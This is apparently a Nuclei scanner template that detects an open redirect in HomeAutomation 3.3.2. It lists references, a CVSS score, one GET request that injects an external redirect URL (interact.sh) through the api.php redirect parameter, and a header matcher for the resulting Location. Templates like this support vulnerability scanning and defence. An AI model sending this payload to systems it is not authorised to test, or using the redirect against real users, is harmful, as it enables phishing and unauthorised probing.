id: homeautomation-v3-openredirect

info:
  name: HomeAutomation 3.3.2 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: HomeAutomation 3.3.2 contains an open redirect vulnerability. An attacker can inject a redirect URL via the api.php endpoint and the redirect parameter, making it possible to redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5559.php
    - https://packetstormsecurity.com/files/155795/HomeAutomation-3.3.2-Open-Redirect.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-601
  metadata:
    max-request: 1
  tags: homeautomation,packetstorm,iot,redirect

http:
  - method: GET
    path:
      - "{{BaseURL}}/homeautomation_v3_3_2/api.php?do=groups/toggle&groupid=1&status=1&redirect=https://interact.sh/"

    matchers:
      - type: regex
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
        part: header
# digest: 4a0a00473045022100d9bc61702be80bebb6e8bf667ca61051385093e30e6e9c67ad85f2424d48142a0220175831c06413d40347643de004fdf99dcaac241023f69f56f41e6df90a851edf:922c64590222798bb761d5b6d8e72950